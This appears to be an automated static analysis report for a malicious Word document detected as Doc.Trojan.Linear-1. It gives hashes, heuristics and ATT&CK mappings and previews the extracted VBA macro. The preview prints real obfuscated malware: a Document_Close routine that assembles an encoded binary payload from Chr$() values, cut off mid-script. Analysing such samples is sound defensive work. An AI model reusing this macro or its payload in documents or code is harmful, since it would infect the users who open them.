Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 59b399226cb2ff5b…

MALICIOUS

Office (OLE)

40.0 KB Created: 2000-07-18 04:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a77cec326679a2ec667e9b53ef3cb376 SHA-1: ddef4fab6f27b110e0320cd4ac5c03b189cf3eda SHA-256: 59b399226cb2ff5bbeac5155bfc97c2a670d59baee0e85555c76324958e8499b
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a Microsoft Word document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands. This, combined with the ClamAV detection, strongly suggests malicious intent. The VBA script is heavily obfuscated, but the Shell() call is the primary indicator of its malicious function, likely to download and execute a second-stage payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Linear-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Linear-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10130 bytes
SHA-256: 569df66ea0e5421d4e9291ea4d2fe2be7487d4bc27932a23caad1e9d577fea60
Detection
ClamAV: Doc.Trojan.Linear-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
dfeha = Chr$(14) + Chr$(14) + Chr$(31) + Chr$(7) + Chr$(252) + Chr$(128) + ">" + Chr$(128) + Chr$(0) + Chr$(0) + "tX" + Chr$(190) + Chr$(130) + Chr$(0) + Chr$(191) + ""
dfeha = dfeha + Chr$(189) + Chr$(5) + Chr$(172) + Chr$(170) + "<" + Chr$(32) + Chr$(176) + Chr$(0) + "u" + Chr$(248) + "&" + Chr$(136) + "E" + Chr$(255) + Chr$(172) + Chr$(162) + ""
dfeha = dfeha + Chr$(185) + Chr$(5) + Chr$(232) + Chr$(174) + Chr$(1) + "$" + Chr$(3) + Chr$(4) + "1" + Chr$(162) + Chr$(188) + Chr$(5) + Chr$(191) + Chr$(188) + Chr$(6) + Chr$(232) + ""
dfeha = dfeha + "6" + Chr$(0) + Chr$(191) + Chr$(197) + Chr$(6) + Chr$(232) + "0" + Chr$(0) + Chr$(191) + Chr$(206) + Chr$(6) + Chr$(232) + "*" + Chr$(0) + Chr$(190) + "1"
dfeha = dfeha + Chr$(3) + Chr$(191) + Chr$(215) + Chr$(6) + Chr$(232) + ":" + Chr$(0) + Chr$(139) + Chr$(207) + Chr$(186) + Chr$(215) + Chr$(6) + "+" + Chr$(202) + "QR"
dfeha = dfeha + Chr$(186) + Chr$(189) + Chr$(5) + "3" + Chr$(201) + Chr$(180) + "<" + Chr$(205) + Chr$(33) + Chr$(147) + "ZY" + Chr$(180) + "@" + Chr$(205) + Chr$(33) + ""
dfeha = dfeha + Chr$(180) + ">" + Chr$(205) + Chr$(33) + Chr$(180) + "L" + Chr$(205) + Chr$(33) + Chr$(232) + "h" + Chr$(1) + "$" + Chr$(7) + Chr$(254) + Chr$(192) + Chr$(138) + ""
dfeha = dfeha + Chr$(200) + Chr$(232) + "_" + Chr$(1) + "$" + Chr$(15) + Chr$(4) + "a" + Chr$(170) + Chr$(254) + Chr$(201) + "u" + Chr$(244) + "2" + Chr$(192) + Chr$(170) + ""
dfeha = dfeha + Chr$(195) + Chr$(172) + "<" + Chr$(8) + "w" + Chr$(15) + Chr$(138) + Chr$(216) + "2" + Chr$(255) + Chr$(209) + Chr$(227) + Chr$(129) + Chr$(195) + Chr$(1) + Chr$(3) + ""
dfeha = dfeha + "h" + Chr$(129) + Chr$(1) + Chr$(255) + "'" + Chr$(170) + Chr$(235) + Chr$(233) + "V" + Chr$(190) + Chr$(0) + Chr$(1) + Chr$(185) + Chr$(185) + Chr$(4) + Chr$(232) + ""
dfeha = dfeha + Chr$(185) + Chr$(0) + Chr$(176) + "=" + Chr$(170) + Chr$(198) + Chr$(6) + Chr$(187) + Chr$(5) + Chr$(0) + Chr$(198) + Chr$(6) + Chr$(186) + Chr$(5) + Chr$(0) + Chr$(128) + ""
dfeha = dfeha + "<" + Chr$(33) + "r" + Chr$(8) + Chr$(198) + Chr$(6) + Chr$(187) + Chr$(5) + Chr$(1) + Chr$(176) + Chr$(34) + Chr$(170) + Chr$(172) + Chr$(232) + Chr$(199) + Chr$(0) + ""
dfeha = dfeha + "r" + Chr$(20) + Chr$(128) + ">" + Chr$(187) + Chr$(5) + Chr$(1) + "t" + Chr$(10) + "P" + Chr$(198) + Chr$(6) + Chr$(187) + Chr$(5) + Chr$(1) + Chr$(176) + ""
dfeha = dfeha + Chr$(34) + Chr$(170) + "X" + Chr$(170) + Chr$(235) + "+P" + Chr$(128) + ">" + Chr$(187) + Chr$(5) + Chr$(1) + "u" + Chr$(16) + Chr$(198) + Chr$(6) + ""
dfeha = dfeha + Chr$(187) + Chr$(5) + Chr$(0) + Chr$(128) + ">" + Chr$(186) + Chr$(5) + Chr$(0) + "t" + Chr$(4) + Chr$(184) + Chr$(34) + "+" + Chr$(171) + "f" + Chr$(184) + ""
dfeha = dfeha + "CHR$f" + Chr$(171) + Chr$(176) + "(" + Chr$(170) + "X" + Chr$(232) + Chr$(189) + Chr$(0) + Chr$(184) + ")+"
dfeha = dfeha + Chr$(171) + Chr$(254) + Chr$(6) + Chr$(186) + Chr$(5) + Chr$(128) + ">" + Chr$(186) + Chr$(5) + Chr$(15) + "v" + Chr$(28) + Chr$(232) + Chr$(155) + Chr$(0) + Chr$(232) + ""
dfeha = dfeha + Chr$(139) + Chr$(0) + Chr$(198) + Chr$(6) + Chr$(186) + Chr$(5) + Chr$(0) + Chr$(128) + ">" + Chr$(187) + Chr$(5) + Chr$(1) + "u" + Chr$(10) + Chr$(138) + Chr$(4) + ""
dfeha = dfeha + Chr$(232) + "d" + Chr$(0) + "r" + Chr$(3) + Chr$(176) + Chr$(34) + Chr$(170) + "Iu" + Chr$(145) + Chr$(232) + "|" + Chr$(0) + "^" + Chr$(195) + ""
dfeha = dfeha + "V" + Chr$(190) + Chr$(188) + Chr$(6) + Chr$(172) + Chr$(10) + Chr$(192) + "t" + Chr$(3) + Chr$(170) + Chr$(235) + Chr$(248) + "^" + Chr$(195) + Chr$(160) + Chr$(188) + ""
dfeha = dfeha + Chr$(5) + Chr$(170) + Chr$(195) + "V" + Chr$(190) + Chr$(34) + Chr$(3) + Chr$(128) + ">" + Chr$(185) + Chr$(5) + "4s" + Chr$(3) + Chr$(190) + Chr$(19) + ""
dfeha = dfeha + Chr$(3) + Chr$(172) + Chr$(10) + Chr$(192) + "t" + Chr$(3) + Ch
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.